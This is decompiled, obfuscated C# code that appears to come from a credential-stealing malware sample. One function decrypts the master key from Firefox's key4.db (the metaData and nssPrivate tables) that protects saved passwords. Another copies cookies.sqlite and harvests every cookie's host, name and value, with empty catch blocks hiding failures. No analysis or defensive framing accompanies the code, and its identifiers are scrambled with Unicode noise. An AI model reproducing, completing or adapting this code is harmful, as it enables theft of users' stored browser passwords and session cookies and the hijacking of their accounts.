// Token: 0x060001D8 RID: 472 RVA: 0x0000FF8C File Offset: 0x0000E18C private static byte[] GetPrivate4Key(string file) { byte[] result = new byte[24]; try { if (!File.Exists(file)) { return(result); } Class_108 class_ = new Class_108(file); class_.smethod_400("metaData"); string s = class_.pmethod_399(0, "item1"); Class_62 class_2 = Class_61.Create(Encoding.Default.GetBytes(class_.pmethod_399(0, "item2)"))); byte[] byteDizi_ = class_2.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1; byte[] input = class_2.prop_3[0].prop_3[1].prop_1; Class_71 class_3 = new Class_71(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byteDizi_); class_3.smethod_230(); Class_50.Decrypt(class_3.prop_3, class_3.prop_4, input, PaddingMode.None); class_.smethod_400("nssPrivate"); int num = class_.prop_3; string s2 = string.Empty; for (int i = 0; i < num; i++) { if (class_.pmethod_399(i, "a102") == Encoding.Default.GetString(Class_78.\u0368\u0363\u034A\u035D\u0020\u0E47\u034F\u0355\u0318\u034E\u036B\u034E\u0364\u033B\u0358\u0020kffuazvgifweulwv\u0347\u033C\u032F\u0342\u0325\u0359\u0020\u036B\u031D\u036A\u0342\u0E47\u036F\u0342\u0332\u0324xubcmltrgjxdhotl)) { s2 = class_.pmethod_399(i, "a11"); break; } } Class_62 class_4 = Class_61.Create(Encoding.Default.GetBytes(s2)); byte[] byteDizi_2 = class_4.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1; byte[] input2 = class_4.prop_3[0].prop_3[1].prop_1; Class_71 class_5 = new Class_71(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byteDizi_2); class_5.smethod_230(); result = Encoding.Default.GetBytes(Class_50.Decrypt(class_5.prop_3, class_5.prop_4, input2, PaddingMode.PKCS7)); } catch { } return(result); }
// Token: 0x060001D6 RID: 470 RVA: 0x0000FB58 File Offset: 0x0000DD58 private static List <Class_66> ParseCookies(string profile) { List <Class_66> list = new List <Class_66>(); try { string text = Path.Combine(profile, "cookies.sqlite"); if (!File.Exists(text)) { return(list); } Class_108 class_ = new Class_108(Class_69.CreateTempCopy(text)); class_.smethod_400("moz_cookies"); for (int i = 0; i < class_.prop_3; i++) { Class_66 class_2 = null; try { class_2 = new Class_66 { prop_0 = class_.pmethod_399(i, "host").Trim(), prop_1 = (class_.pmethod_399(i, "isSecure") == "1"), prop_2 = class_.pmethod_399(i, "path").Trim(), prop_3 = (class_.pmethod_399(i, "isSecure") == "1"), prop_4 = class_.pmethod_399(i, "expiry").Trim(), prop_5 = class_.pmethod_399(i, "name").Trim(), prop_6 = class_.pmethod_399(i, "value") }; Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki++; } catch { } if (class_2 != null) { list.Add(class_2); } } } catch { } return(list); }